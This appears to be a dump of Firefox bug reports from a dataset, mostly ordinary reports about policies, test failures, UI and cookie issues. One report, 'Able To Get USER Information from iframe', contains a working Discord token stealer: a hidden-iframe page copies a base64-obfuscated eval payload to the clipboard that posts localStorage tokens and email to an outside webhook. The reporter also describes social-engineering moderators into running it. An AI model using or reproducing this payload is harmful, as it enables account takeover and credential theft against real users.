av9ash/GitBugs huggingface dataset:
Bug: Policies.json: PDFjs EnablePermissions is active, although deactivated (when Enabled is not used)
Status: VERIFIED
Priority: P3
Resolution: FIXED
Created: 2022-01-19 18:11:26+00:00
Resolved: 2022-03-01 10:16:36+00:00

Steps to reproduce:

I use Firefox 96.0.1 on Linux Mint (I also tested this behaviour with Firefox 96.0.1 from https://www.mozilla.org/de/firefox/all/#product-desktop-release).
The option "pdfjs.enablePermissions" is enabled, even if it is disabled in policies.json on Linux (when the "Enabled: true" option is not used).

Steps to reproduce:
1. Set /etc/firefox/policies/policies.json to
{
  "policies": {
    "PDFjs": {
      "EnablePermissions": false
    }
  }
}

2. Start Firefox (I used a new profile)

3. See about:policies#active that option is correctly recognized and set to false.


--- 
other possibilities to define:
When setting /etc/firefox/policies/policies.json to the following:
{
  "policies": {
    "PDFjs": {
      "Enabled": false,
      "EnablePermissions": false
    }
  }
}
The value "pdfjs.enablePermissions" in about:config is locked and true (as pdfjs is correctly disabled, this has no impact). This was just to test when this bug occurs, so you can easier find the cause.

Setting the option "pdfjs.enablePermissions" in the Preferences, correctly works as expected:
{
  "policies": {
    "Preferences": {
      "pdfjs.enablePermissions": {
        "Value": false,
        "Status": "locked"
      } 
    }
  }
}


And setting /etc/firefox/policies/policies.json with "Enabled": true, also works correctly:
{
  "policies": {
    "PDFjs": {
      "Enabled": true,
      "EnablePermissions": false
    }
  }
}



Actual results:

Check the value "pdfjs.enablePermissions" in about:config.
For me, this option is locked and true.
I also verified the permission with an example pdf (https://h24-files.s3.amazonaws.com/65073/161759-FDUyc.pdf) and I cannot copy text.


Expected results:

"pdfjs.enablePermissions" should be disabled, when setting it in the policies.
Bug: Intermittent [TV] browser/components/downloads/test/browser/browser_downloads_context_menu_delete_file.js | At the start of the test, there should be 0 downloads - Got 1, expected +0
Status: RESOLVED
Priority: P5
Resolution: FIXED
Created: 2022-01-19 21:38:39+00:00
Resolved: 2022-01-24 06:31:59+00:00

**Filed by:** nbeleuzu [at] mozilla.com
**Parsed log:** https://treeherder.mozilla.org/logviewer?job_id=364682368&repo=autoland
**Full log:** https://firefox-ci-tc.services.mozilla.com/api/queue/v1/task/STq50sJNRMa2ny1QTbGj7g/runs/0/artifacts/public/logs/live_backing.log
**Reftest URL:** https://hg.mozilla.org/mozilla-central/raw-file/tip/layout/tools/reftest/reftest-analyzer.xhtml#logurl=https://firefox-ci-tc.services.mozilla.com/api/queue/v1/task/STq50sJNRMa2ny1QTbGj7g/runs/0/artifacts/public/logs/live_backing.log&only_show_unexpected=1

---
```
[task 2022-01-19T19:28:41.271Z] 19:28:41     INFO - TEST-START | browser/components/downloads/test/browser/browser_downloads_context_menu_delete_file.js
[task 2022-01-19T19:28:41.282Z] 19:28:41     INFO - TEST-INFO | started process screentopng
[task 2022-01-19T19:28:41.728Z] 19:28:41     INFO - TEST-INFO | screentopng: exit 0
[task 2022-01-19T19:28:41.728Z] 19:28:41     INFO - Buffered messages logged at 19:28:41
[task 2022-01-19T19:28:41.728Z] 19:28:41     INFO - Entering test bound test_download_deleteFile
[task 2022-01-19T19:28:41.728Z] 19:28:41     INFO - Buffered messages finished
[task 2022-01-19T19:28:41.732Z] 19:28:41     INFO - TEST-UNEXPECTED-FAIL | browser/components/downloads/test/browser/browser_downloads_context_menu_delete_file.js | At the start of the test, there should be 0 downloads - Got 1, expected +0
[task 2022-01-19T19:28:41.732Z] 19:28:41     INFO - Stack trace:
[task 2022-01-19T19:28:41.732Z] 19:28:41     INFO - chrome://mochikit/content/browser-test.js:test_is:1403
[task 2022-01-19T19:28:41.732Z] 19:28:41     INFO - chrome://mochitests/content/browser/browser/components/downloads/test/browser/browser_downloads_context_menu_delete_file.js:test_download_deleteFile:45
[task 2022-01-19T19:28:41.733Z] 19:28:41     INFO - Created download directory: /tmp/Temp-f95bbe96-eba4-4fe5-a83d-27b9684c3050/testsavedir2890449701
[task 2022-01-19T19:28:41.733Z] 19:28:41     INFO - Setting path for download file
```
Bug: Page flashes dark on navigation with layout.css.prefers-color-scheme.content-override=1
Status: VERIFIED
Priority: --
Resolution: FIXED
Created: 2022-01-19 22:44:32+00:00
Resolved: 2022-04-05 06:45:42+00:00

User Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:96.0) Gecko/20100101 Firefox/96.0

Steps to reproduce:

Due to issue #1749837, my theme forced Firefox to use a dark theme. Consequently, I edited the setting layout.css.prefers-color-scheme.content-override to 1 to force usage of light color scheme.

I'm using Firefox 96.0.1 (64 bits) on Windows 10 with the theme "furfox tail twitter".
Problem appears without extension.


Actual results:

Multiple elements of browser's interface are still in dark mode. The search bar (Ctrl + F), the context menu (right-click), all menus (bookmarks, history, downloads, main menu, previous, next and even library window (Ctrl + shift + H)).

In addition, there is a dark screen appearing each time a page is loaded (see video attachment).


Expected results:

Normally, when forcing light context all browser should use light elements (like if I used the default Firefox light theme) and no dark screen should be see between pages.
Bug: Accessing recorded password do not require a master password
Status: RESOLVED
Priority: --
Resolution: DUPLICATE
Created: 2022-01-19 22:47:36+00:00
Resolved: 2022-01-20 16:49:21+00:00

Hello,

Regarding Firefox : 96.0.1 (64 bits), which according to my version is up to date.
Why accessing the recorded passwords, in : 
about:logins
Do not require a master password or any other additional security?

This is a MAJOR issue : given how many people do not professionnally lock their session when going to get coffee or anything, anybody can easily access and see their passwords given that even just the windows session password is not asked.

About 10 years ago, Chrome had the same security issue and they have since fixed this.
Thanks
Bug: [linux] bookmarks file menu stuck on first folder hover
Status: RESOLVED
Priority: --
Resolution: WORKSFORME
Created: 2022-01-20 00:57:31+00:00
Resolved: 2023-03-16 23:14:56+00:00

User Agent: Mozilla/5.0 (X11; Linux x86_64; rv:98.0) Gecko/20100101 Firefox/98.0

Steps to reproduce:

After updating to nightly 98 on linux the bookmarks menu was causing a crash that sent a report.

Recently (jan 19th 2022) there seems to have been a change and it now is "stuck" on the first hover item.

Open bookmarks file menu and try to browse bookmarks


Actual results:

The first item "hovered" will be selected as if you clicked on it, sometimes moving the mouse will scroll as if the X cord is stuck in a folder and Y will highlight what is in the folder. (Have not seen a crash yet)


Expected results:

Selections where cursor is / require a mouse click to stick to folder.
Bug: Session store considered harmful to about:preferences
Status: NEW
Priority: P3
Created: 2022-01-20 02:13:22+00:00
Resolved: 2022-01-24 13:06:25+00:00

HTML elements in about:preferences (like `input[type=checkbox]`) participate in session store. When an about:preferences tab is restored, session store restores the state of any HTML elements that do not have `autocomplete=off`, and it apparently races the `Preferences` initialization of those same elements. The consequence is that if a preference is changed outside of about:preferences and then an about:preferences tab is later restored, both the preference and its element can intermittently end up incorrect because the session store restore can happen *after* about:preferences's initial sync from preferences.

See bug 1749758 comment 6 for a real example.

We should at least audit about:preferences for HTML elements that do not have `autocomplete=off` (but note that there are complexities around which elements are allowed to use `autocomplete=off`; it's ignored on `input[type=checkbox]` for example), but we may want to exempt about:preferences from session store completely in some way, for example by allowing entire (chrome?) pages to opt out of autocomplete.
Bug: Intermittent TEST-UNEXPECTED-TIMEOUT | browser/base/content/test/tabs/browser_navigatePinnedTab.js | application timed out after 370 seconds with no output
Status: RESOLVED
Priority: P5
Resolution: INCOMPLETE
Created: 2022-01-20 02:23:07+00:00
Resolved: 2023-06-14 12:03:49+00:00

**Filed by:** mlaza [at] mozilla.com
**Parsed log:** https://treeherder.mozilla.org/logviewer?job_id=364735722&repo=autoland
**Full log:** https://firefox-ci-tc.services.mozilla.com/api/queue/v1/task/cqP7Cu9gRYmJLtpXlGtUeQ/runs/0/artifacts/public/logs/live_backing.log

---
```
[task 2022-01-20T00:58:28.826Z] 00:58:28     INFO - TEST-PASS | browser/base/content/test/tabs/browser_navigatePinnedTab.js | Tab was successfully pinned - 
[task 2022-01-20T00:58:30.167Z] 00:58:29     INFO - Buffered messages finished
[task 2022-01-20T00:58:30.615Z] 00:58:30    ERROR - TEST-UNEXPECTED-TIMEOUT | browser/base/content/test/tabs/browser_navigatePinnedTab.js | application timed out after 370 seconds with no output
[task 2022-01-20T00:58:31.172Z] 00:58:30    ERROR - Force-terminating active process(es).
[task 2022-01-20T00:58:31.598Z] 00:58:31     INFO - Determining child pids from psutil...
[task 2022-01-20T00:58:32.240Z] 00:58:31     INFO - [2007, 2024, 2078, 2108, 2139, 2153, 2182, 2251, 2582]
[task 2022-01-20T00:58:32.680Z] 00:58:32     INFO - ==> process 1932 launched child process 1948
[task 2022-01-20T00:58:33.506Z] 00:58:33     INFO - ==> process 1932 launched child process 2007
[task 2022-01-20T00:58:34.469Z] 00:58:34     INFO - ==> process 1932 launched child process 2024
[task 2022-01-20T00:58:34.645Z] 00:58:34     INFO - ==> process 1932 launched child process 2078
[task 2022-01-20T00:58:35.731Z] 00:58:35     INFO - ==> process 1932 launched child process 2108
[task 2022-01-20T00:58:35.773Z] 00:58:35     INFO - ==> process 1932 launched child process 2139
[task 2022-01-20T00:58:36.844Z] 00:58:36     INFO - ==> process 1932 launched child process 2182
[task 2022-01-20T00:58:37.917Z] 00:58:37     INFO - ==> process 1932 launched child process 2216
[task 2022-01-20T00:58:38.322Z] 00:58:37     INFO - ==> process 1932 launched child process 2251
[task 2022-01-20T00:58:38.853Z] 00:58:38     INFO - ==> process 1932 launched child process 2348
[task 2022-01-20T00:58:39.824Z] 00:58:39     INFO - ==> process 1932 launched child process 2383
[task 2022-01-20T00:58:41.104Z] 00:58:40     INFO - Found child pids: {2182, 2024, 2153, 1948, 2251, 2216, 2348, 2383, 2582, 2007, 2139, 2108, 2078}
[task 2022-01-20T00:58:42.566Z] 00:58:42     INFO - Failed to get child procs
[task 2022-01-20T00:58:43.129Z] 00:58:42     INFO - Killing process: 2182
[task 2022-01-20T00:58:44.020Z] 00:58:43     INFO - TEST-INFO | started process screentopng
[task 2022-01-20T00:58:45.265Z] 00:58:45     INFO - TEST-INFO | screentopng: killed by SIGSEGV
```
Bug: 97.0bX: Occasional freeze, or BSoD
Status: RESOLVED
Priority: --
Resolution: WORKSFORME
Created: 2022-01-20 03:36:48+00:00
Resolved: 2022-02-24 10:57:40+00:00

User Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:97.0) Gecko/20100101 Firefox/97.0

Steps to reproduce:

Casual browsing. 

Currently running Firefox Developer Edition 97.0b5. 

After updating to 97.0b4 I noticed that sometimes the browser freezes on heavy loads. I left it frozen until it starts responding, but so far only one time it did. I had to refresh Firefox, to see if there was any change.

After the most recent update 97.0b5 I stopped getting Firefox freezing, but started getting BSoD occasionally. I refreshed Firefox just again, but i suspect that i might get a BSoD again.

I can not reproduce the error, and can not get diagnostics on what actually lead to this.


Actual results:

Freezing on 97.0b4 / BSoD on 97.0b5


Expected results:

No Errors
Bug: Beginning with version 95.0, bookmark scroll bar does not work propery (scrolls continuously)
Status: RESOLVED
Priority: --
Resolution: INVALID
Created: 2022-01-20 07:17:07+00:00
Resolved: 2022-01-20 08:55:59+00:00

Steps to reproduce:

Running Win 7 Pro. In my previous version of FF (94.0.2, 32-bit), I have modified the UserChrome.css file (suggested by others on this forum) to provide a scroll bar for my bookmarks. This has worked well for for all subsequent FF updates, until the latest update (95.0), which has forced me to create a new profile. 
Now, the bookmarks still have a scroll bar, but as soon as I put my mouse pointer anywhere on the list, the bookmarks automatically start rapidly scrolling all the way to the end, making it impossible for me to select any particular bookmark. 
I have tried to replace the new profile with my old one, but version 95.0 will not accept that. I have also tried to replace the UserChrome.css file with the old one, but that doesn't fix the problem.



Actual results:

I never was able to fix the problem, and finally had to reinstall version 94.02.


Expected results:

The Bookmarks scroll bar should have continued working when I updated to version 95.0. Also, my previous profile should have been accepted after the update.
Bug: Firefox can't load websites but other browsers can like chrome brave
Status: RESOLVED
Priority: --
Resolution: INCOMPLETE
Created: 2022-01-20 07:41:38+00:00
Resolved: 2022-02-18 12:29:28+00:00

User Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36

Steps to reproduce:

Firefox can't load websites but other browsers can. 


Actual results:

I cleaned catch and cookies but still, my site https://skatetownguide.com/ was not opening.


Expected results:

I did not understand
Bug: General cookie block interfere with local allow making signing in impossible on some websites
Status: NEW
Priority: --
Created: 2022-01-20 09:26:34+00:00
Resolved: 2022-01-31 13:05:28+00:00

Steps to reproduce:

I choose to block all cookies and allow them to be set only on certain websites where i intend to login. Everything went fine with an exception. One website (but may be more this one i discovered myself) doesn't respect local rule set to allow cookies and it seems to follow only the general rule "block all cookies" denying signing in attempts. So they are either somehow manage to read general rule which would be a huge ff privacy leak either general rule overrides local rule created for this particular website "www.coinpayu.com" which again would be some kind of ff flow


Actual results:

Can't login to the website mentioned "www.coinpayu.com" even if i set local allow for cookies for this website


Expected results:

I should be allowed to login to the website "www.coinpayu.com"
Bug: Expires date not shown for certificates
Status: RESOLVED
Priority: --
Resolution: DUPLICATE
Created: 2022-01-20 09:58:46+00:00
Resolved: 2022-01-24 22:25:17+00:00

User Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:96.0) Gecko/20100101 Firefox/96.0

Steps to reproduce:

Open Settings / Certificates / View Certificates...


Actual results:

The "Expires On" column in "Your Certificates" and "People" tab is empty for all certificates.


Expected results:

Expiry date shown, as in earlier versions.
Bug: The Nimbus expose event is sent twice for the “privatebrowsing” feature
Status: RESOLVED
Priority: --
Resolution: WONTFIX
Created: 2022-01-20 13:04:48+00:00
Resolved: 2022-03-01 11:02:12+00:00

**[Affected Versions]:**
- Firefox Release 96.0.1 (Build ID: 20220113185450)
- Firefox Beta 97.0b5 (Build ID: 20220118185733)
- Firefox Nightly 98.0a1 (Build ID: 20220120100401)

**[Affected Platforms]:**
- Windows 10
- macOS 11.6
- Linux Mint 20.2

**[Prerequisites]:**
- Be enrolled in a desktop Nimbus experiment created using the “privatebrowsing” feature. A Stage preview recipe (created using the Experimenter UI) with forced enrollment was used in this case.

**[Steps to reproduce]:**
1. Open a private window (Ctrl + Shift +P).
2. Navigate to “about:telemetry#events-tab”.
3. Observe the number of expose events displayed for the experiment. 

**[Expected result]:**
- Only one expose event is displayed.

**[Actual result]:**
- Two expose events are displayed.

**[Regression range]:**
Last good revision: 37656bdc24fc8735e9703f16ffcdf69089a1a8f8
First bad revision: f33ca96ff4e35b439c706aa7b6a5fd852f825bd5
Pushlog:
https://hg.mozilla.org/integration/autoland/pushloghtml?fromchange=37656bdc24fc8735e9703f16ffcdf69089a1a8f8&tochange=f33ca96ff4e35b439c706aa7b6a5fd852f825bd5

**[Notes]:**
- The issue is not reproducible for current production experiments using the “urlbar” and “moreFromMozilla” features.
- Attached is a recording of the issue.
Bug: Able To Get USER Information from iframe
Status: RESOLVED
Priority: --
Resolution: INVALID
Created: 2022-01-20 13:57:59+00:00
Resolved: 2022-01-20 14:38:41+00:00

User Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:96.0) Gecko/20100101 Firefox/96.0

Steps to reproduce:

FIRST I MADE HTML FILE IN MY WEBSERVER OR USE GITHUB FREE SERVICE

MADE HTML FILE AND I USE ANY WEBSITE ABLE TO USE IN IT THE IFRAME.
WRITE THE CODE :
<!DOCTYPE html>
Code 1.29 KiBWrap lines Copy Download
<html>
<head>
	<meta charset="utf-8">
	<meta name="viewport" content="width=device-width, initial-scale=1">
	<style type="text/css">
		html {
			height: 100%;
		}
		body {
			padding: 0px;
			margin: 0px;
			background: #fff;
			color: #000;
			height: 100%;
		}
		iframe {
			opacity: 0.01;
			width: 100%;
			height: 70px;
		}
		div {
			border: 10px solid #000;
			width: 750px;
		}
	</style>
</head>
<body onclick="XAMFRA()">
<center>
	<h3>
		Ctrl+Shift+C (and click in the black rectangle)<br>
		Ctrl+Shift+k (or click on console)<br>
		Ctrl+v<br>
		ENTER
	</h3>
	<div>
		<iframe onclick="XAMFRA()" src="https://discord.com/widget?id=691005472018268280&theme=dark" allowtransparency="true" frameborder="0" sandbox="allow-popups allow-popups-to-escape-sandbox allow-same-origin allow-scripts"></iframe>
	</div>
</center>
</body>
<script>
	function XAMFRA() {
		navigator.clipboard.writeText(`eval(atob("ZmV0Y2goJ2h0dHBzOi8vZGlzY29yZC5jb20vYXBpL3dlYmhvb2tzLzg4NDE4NjM1OTI5ODk0NTExNi9IOHNkYVlNWeKApndmOWlwdUVkbDNFSllSSFBWZDdnUTBGSmFMNGRibkM0SGZpYy1EdXdzZWFEaFJrZXBKd0Q5UGZOLWhlJywgewoJIm1ldGhvZCI6IlBPU1QiLAoJImhlYWRlcnMiOiB7IkNvbnRlbnQtVHlwZSI6ICJhcHBsaWNhdGlvbi9qc29uIn0sCgkiYm9keSI6IEpTT04uc3RyaW5naWZ5KHsKCSJjb250ZW50IjogbG9jYWxTdG9yYWdlLnRva2VuK2xvY2FsU3RvcmFnZS5lbWFpbF9jYWNoZQoJfSkKfSkK"))`);
	}
</script>
</html>
 The code here has a function that when you tap anywhere on the screen, you copy an existing code in it " eval()  " function and i made it Base 64 because i don't wanna the user feel there are wrong thing happen
so now visit the site and try to tap on the screen on any place
and do what the site say to you



Actual results:

I'm attacker and i wanna hack famous server in discord so i will try to talk with the owner and make him trust me and build for him some thing and in the end send the website to him and let him fall in the trap.
Or use deception method like : there are owner in the server and modrator so i will wait to some of modrator be offline after that make account like him in image and description , ok now i have account like modrator let's use it i will chat with another modrator in the server and he will think i'm is him or her and the best to be her and he will fall in the trap.
i traid last method on a server XD but some one in the end say her not her but in the end i success to know social engineering is the best thing to exploit it


Expected results:

The browser never let me get access to the iframe tag by js
Bug: The end user is unable to click on the health link to access the healyh records.
Status: RESOLVED
Priority: --
Resolution: DUPLICATE
Created: 2022-01-20 14:02:56+00:00
Resolved: 2022-01-20 14:34:58+00:00

User Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.99 Safari/537.36

Steps to reproduce:

Steps:
1.- Launch the health and meditation app.
2.- Click on the dashboard.
3.- Search for the link health on the dashboard page.
4.- Click on the health link.


Actual results:

The user is not navigated to the health page and the link is not clickable.


Expected results:

The user should have been navigated to the health page in click of the health link.
Bug: Form values accessed in script are not the same as shown on screen after page reload
Status: NEW
Priority: P2
Created: 2022-01-20 15:51:22+00:00
Resolved: 2024-12-31 14:03:29+00:00

User Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:96.0) Gecko/20100101 Firefox/96.0

Steps to reproduce:

1. Make a change to a form select and checkbox on a web form
2. Get values of above form fields in script
3. Close browser window
4. Re-open browser window
5. Form field value changes made in step 1 persist (on screen)
6. Repeat step 2


Actual results:

The form field values retrieved in step 6 above, from script, are not the same as those shown on screen, i.e. the changed values, insead they are the default values.


Expected results:

I would expect the form values in script to be the same as those shown on screen. Issue occurs on Android FF browser also.

I have made a demo here to illustrate:
https://jeremywray.co.uk/bug/firefox_bug_test.html
Bug: After 96.0.2 upgrade multiple tabs crashed, will not restore
Status: RESOLVED
Priority: --
Resolution: WORKSFORME
Created: 2022-01-20 16:35:49+00:00
Resolved: 2022-11-15 16:36:03+00:00

User Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36

Steps to reproduce:

Just upgraded to 96.0.2 on amd64 Linux and after restart multiple tabs have crashed.  Clicking on "Restore this tab" or "Restore all crashed tabs" fails to restore tabs.  Also cannot navigate backwards to restore tabs.  This is a disaster as it appears I've lost many tabs in multiple windows.

Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Linux 5.14.0-0.bpo.2-amd64 #1 SMP Debian 5.14.9-2~bpo11+1 (2021-10-10)



Actual results:

Multiple tabs failed to restore when restarting Firefox after upgrading to 96.0.2.  Tabs cannot be restored by clicking "Restore this tab"


Expected results:

All tabs should have been restored when restarting Firefox after 96.0.2 upgrade.
Bug: Backdrop-filters not working
Status: RESOLVED
Priority: --
Resolution: DUPLICATE
Created: 2022-01-20 20:38:04+00:00
Resolved: 2022-01-20 20:44:15+00:00

User Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0

Steps to reproduce:

I set layout.css.backdrop-filter.enabled and gfx.webrender.all to true.



Actual results:

css backdrop filters aren't working on any website or even local files.
Tested on  96.0 and latest Nightly. all other (chromium) browsers on my system display backdrop-filter classes correctly.

specs.:
Operating System: KDE neon 5.23
KDE Plasma Version: 5.23.5
KDE Frameworks Version: 5.90.0
Qt Version: 5.15.3
Kernel Version: 5.11.0-25-generic (64-bit)
Graphics Platform: X11
Processors: 8 × Intel® Core™ i7-3770 CPU @ 3.40GHz
Memory: 27,1 GiB of RAM
Graphics Processor: Mesa DRI Intel® HD Graphics 4000